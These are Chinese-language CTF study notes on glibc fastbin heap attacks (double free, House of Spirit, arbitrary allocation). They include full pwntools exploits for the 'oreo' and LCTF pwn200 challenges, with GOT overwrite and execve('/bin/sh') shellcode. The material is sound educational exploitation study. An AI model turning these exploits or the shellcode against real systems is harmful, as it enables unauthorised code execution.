跳转至

FastbinAttack

Fastbin Attack

感觉看 wiki 说的这东西算是涉及到 fastbin 的一类利用方式,不能算新的,了解一下 fastbin 的特点然后后面统一整理一下吧

1596803861548-16e9f845-23f1-45ba-be30-7b3b8a5c750d.png

fastbin

大小:

32位:16-64字节 0x10-0x40

64位:32-128字节 0x20-0x80

chunk 的大小而不是申请的内存的大小(申请的内存加上 chunk 头)

fastbinsY 是一个数组,相同大小的 chunk 放在一个数组元素指向的链表里面

单向链表后进先出,fastbinsY 数组中每一个元素指向该链表的尾结点,尾结点在通过 fd 指针指向前一个节点

例如:

free(ptr1);
free(ptr2);

最后那么是这样的 fastbin -> ptr2 -> ptr1

空闲的 fastbin chunk 不会被合并,不会修改 chunk 头

拿这个例子做一下实验

#include<stdio.h>
void main(){
    char *a1=malloc(0x10);
    memset(a1,0x41,0x10);
    char *a2=malloc(0x10);
    memset(a2,0x42,0x10);
    char *a3=malloc(0x10);
    memset(a3,0x43,0x10);
    char *a4=malloc(0x30);
    memset(a4,0x44,0x30);
    char *a5=malloc(0x30);
    memset(a5,0x45,0x30);
    printf("malloc done!\n");
    free(a1);
    free(a2);
    free(a3);
    free(a4);
    free(a5);
    printf("free done\n");
}

1596806782311-81a3f019-bb88-4f0b-b275-a210aecb0e45.png

可以看出链表来,后释放的 fd 指向上一个的,而不同大小的不会指向

1596806948354-3c7bb086-1ba7-4fc8-adaa-3460a20e2df8.png

Fastbin Double Free

wiki 上的描述,可以看到 chunk1 的 fd 会指向 chunk2 那么如果 chunk1 是我们可控的那么就可以申请任意地址的 fastbin

1596853024244-ac6e239c-4769-41da-a82f-dc7046ce18d6.png

House Of Spirit

又是全新的知识 Orz

在目标地址伪造 fastbin chunk,然后释放掉,从而达到分配指定地址的 chunk 的目的

有一些条件:

fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理

fake chunk 地址需要对齐, MALLOC_ALIGN_MASK

fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐

fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

https://www.yuque.com/hxfqg9/bin/ape5up#COci2

Alloc to Stack

通过修改 fd 指针,指向栈上,从而申请栈上的空间,进而控制返回地址

Arbitrary Alloc

跟上一个的区别在于这个是往任何可写的地方去分配 chunk

2014 hack.lu oreo

先随便申请两个看一下结构

add('1'*20,'a'*20)
add('2'*20,'b'*20)

可以看到申请的第二个上有一个指向第一个的指针

1597192748888-d7c65f89-d7aa-47e8-94ff-fc06efa7a344.png

那如果第 2 个的 name 再多写一点,就可以覆盖掉这个指针了

name = 'a'*27 + elf.got['puts']

1597195024066-af41b827-b37b-44be-915d-b8991b8e45de.png

这时候再去 show 就能拿到 puts 的真实地址了,拿到之后就可以计算出 libc 的地址,进而拿到 system 和 '/bin/sh' 的地址

接下来需要伪造一个 chunk,因为枪支的 chunk 大小是 0x40的,而那个计数的东西在 bss 段中 0x804A2A4 的位置,每 add 一个就会 +1,可以用来作为 fake chunk 的 size,只需要多申请几个就可以

这时候可以同时把最后一个的指针改为 fake chunk 的地址(0x804A2A4 + 0x4)

1597196854426-694495fe-905c-4f6d-a0f3-a22086c14d2f.png

count=1
while count<0x3f:
  add('a' * 27 + p32(0), 'b')
  count=count+1
payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')

这样 fake chunk 的 size 位就构造好了,同时最后一个 chunk 的指向了 fake chunk

1597215662130-a4b03b46-9599-4b04-a5b5-fee2acb8c9c4.png

还需要绕过一些检测:对齐、fake chunk 的 size 的大小、next chunk 的 size 大小、标记位检查

来看一下那个 Leave a Message 功能,他会往 0x804A2A8 指向的地方也就是 0x804A2C0 读取内容

1597214996588-f7c4203d-3275-4ea2-a9a0-7a94a31a6929.png

我么可以通过 Leave a Message 往那个地方去写来帮助 fake chunk 绕过检查,比如:

payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)

首先是 0x20 的占位留给 fake chunk,然后是 fake chunk 的 size,接下来是 next chunk 的 size

此时内存布局:

1597216266606-034bb205-d61d-41e4-8c04-614273f1ab1c.png

释放的时候会把之前修改的指针指向的那个给释放掉,然后再去申请的时候就可以申请到伪造的那个 chunk

然后通过把 0x0x804A2A8 的地方改成某个函数的 got 表项再通过 Leave a Message 功能往改掉的那个地址上写内容以此来覆盖 got 表项的内容

payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)
leave(p32(sys_addr) + ';/bin/sh\x00')

这里覆盖的是 strlen 的 got 表的内容为 system 的地址

1597217359854-0799ba38-5fc5-4f26-b41f-55390a2b2d32.png

Leave a Message 功能里面调用了一个函数,其中有 strlen

相当于 system(p32(sys_addr) + ";/bin/sh")

1597217483839-5ce416c6-8139-4ace-bd6b-2a4e82de82fc.png

exp:

from pwn import *
context.log_level = 'debug'
p=process('./oreo')
elf=ELF('./oreo')
libc = ELF('./libc.so.6')

def cmd(choice):
  p.sendline(str(choice))

def add(name,description):
  cmd(1)
  p.sendline(name)
  p.sendline(description)

def show():
  cmd(2)
  p.recvuntil('===================================\n')

def order():
  cmd(3)

def leave(notice):
  cmd(4)
  p.sendline(notice)

def stats():
  cmd(5)

add('1'*20,'a'*20)
name = 'a'*27 + p32(elf.got['puts'])
add(name,'b'*20)

show()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
print hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))

count=1
while count<0x3f:
  add('a' * 27 + p32(0), 'b')
  count=count+1

payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)

order()
p.recvuntil('Okay order submitted!\n')
payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)

leave(p32(sys_addr) + ';/bin/sh\x00')
p.interactive()

2017 0ctf babyheap

https://www.yuque.com/hxfqg9/bin/bp97ri#zrp9L

L-CTF2016–pwn200

这里的 v2 是在 0x30 的位置,而 read 读入的时候可以读入 0x30,但是不会再末尾自己加上 \x00,所以如果输满了可以把后面的 rbp 给泄露出来

1597281438614-b35df0d4-a5e7-48a6-9488-05aac41324cf.png

buf 在 rbp-0x40,dest 指针在 rbp-0x8,所以 buf 的最后八字节会把 dest 给覆盖掉

1597281578520-d73215b2-3dad-4271-b57a-4904b840237e.png

在输入 id 的那里会把输入的 id 放到 rbp-0x38 那里

1597282769190-37916a88-d900-4b75-a9e5-df800e8f58f5.png

首先通过 read 函数来泄露出来 rbp 中保存的地址

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'\x00'))
fake_addr = leak_addr - 0x90
shellcode_addr = leak_addr - 0x50

箭头指向的是 rbp,0xe0-0x90=0x50,所以 shellcode 的地址是在泄漏的那个地址减 0x50 处

1597284829259-cd365f6d-0c8a-40f9-b430-d89f05c420dc.png

因为是先输入 id 再输入 money,所以那个 id 是在 money 下面的,可以通过 id 来伪造下一个堆块的 size(在一个范围内就可以,不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem)

p.recvuntil('id ~~?')
p.sendline('48')

然后在输入 money 的时候伪造一个 chunk,并且覆盖掉 dest

p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41) 
payload = payload.ljust(0x38, '\x00') + p64(fake_addr) 
p.send(payload)

这是构造的 fake chunk

1597716330522-9a56474f-37bf-4d8f-9d80-9091d2405b5e.png

emmm,要是再减去 0x8 就更好看了

1597717266507-a4268bae-3305-4a41-8dd1-dc4c47622a04.png

看一下栈上的结构,最上面是构造的 chunk,下面是 id(作为 next chunk size)然后是 shellcode以及之前泄露的地址

1597716778802-52c6a8c1-b106-4b2a-9993-e0c1c56a8cb2.png

先释放掉让伪造的 chunk 进入到 fastbin,然后再申请就申请到了伪造的 chunk,这时候覆盖掉 rip 为 shellcode 的地址就可以拿到 shell

1597324274410-d45fd1bb-6fef-4e98-b061-76f122e558c2.png

这里有点疑惑为啥会把那个伪造的 chunk 放到 fastbin?还是没把程序的功能理顺,我们把 dest 给覆盖掉了,覆盖为了 fake chunk 的地址,然后 dest 放到了 ptr,后面 free 的时候是 free(ptr) 的

1597717991781-13a7fea8-7e43-4f86-bda5-a58bd71d375e.png

1597717958096-016b850b-5368-474a-b6cc-46ac178b9cf0.png

exp:

from pwn import *
p = process("./pwn")
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
#len=0x30
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'\x00'))
fake_addr = leak_addr - 0x90
shell_addr = leak_addr - 0x50
print 'shellcode addr:'+hex(shell_addr)
print 'fake addr:'+hex(fake_addr)
print 'leak addr:'+hex(leak_addr)

p.recvuntil('id ~~?')
p.sendline('48')

p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41) 
payload = payload.ljust(0x38, '\x00') + p64(fake_addr) 
p.send(payload)

p.recvuntil('choice : ')
p.sendline('2')

p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')
p.recvuntil('\n48\n')

payload = '0' * 0x18 + p64(shell_addr)
payload = payload.ljust(48, '\x00')
p.send(payload)
p.recvuntil('choice : ')
p.sendline('3') 

p.interactive()

原文: https://www.yuque.com/hxfqg9/bin/dww8nz